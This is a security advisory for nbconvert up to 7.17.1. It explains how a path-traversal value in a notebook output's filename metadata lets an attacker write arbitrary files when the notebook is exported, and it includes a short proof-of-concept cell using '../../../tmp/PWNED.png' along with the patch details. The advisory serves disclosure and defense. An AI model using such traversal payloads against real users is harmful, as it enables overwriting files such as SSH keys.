nbconvert: Arbitrary file write through path traversal in cell output filenames when exporting to md, latex, rst and asciidoc

Summary

nbconvert <= v7.17.1 has an arbitrary file write vulnerability due to a path traversal in ipynb cell output metadata, more specifically on the filename attribute.

Vulnerable converters : --to markdown, --to latex, --to rst, --to asciidoc.

In ExtractOutputPreprocessor, extractoutput.py:116-119 joins attacker-controlled path to output_files_dir with no canonicalization check, enabling arbitrary file write.

This is a sibling vulnerability of https://github.com/advisories/GHSA-4c99-qj7h-p3vg.

Impact

If a victim runs nbconvert on a malicious ipynb file, it can create some files with arbitrary data in arbitrary locations, i.e. override authorized_keys.

Note that running the cell with jupyter overrides the output, so it would "clean up" malicious cells.

PoC

In a ipynb file:

"cells": [{
        "cell_type": "code", "id": "abc123", "execution_count": 1,
        "metadata": {}, "source": "# PoC",
        "outputs": [{
            "output_type": "display_data",
            "metadata": {
                "filename": "../../../tmp/PWNED.png"  # ← traverses outside output_dir
            },
            "data": {
                # minimal valid PNG (1×1 pixel)
                "image/png": "iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVR42mNk+M9QDwADhgGAWjR9awAAAABJRU5ErkJggg=="
            }
        }]
    }

Patches

Fixed in

• https://github.com/jupyter/nbconvert/commit/ce4bd99aec31d81d759fa8eeb8643179392ec66f
• 7.17.2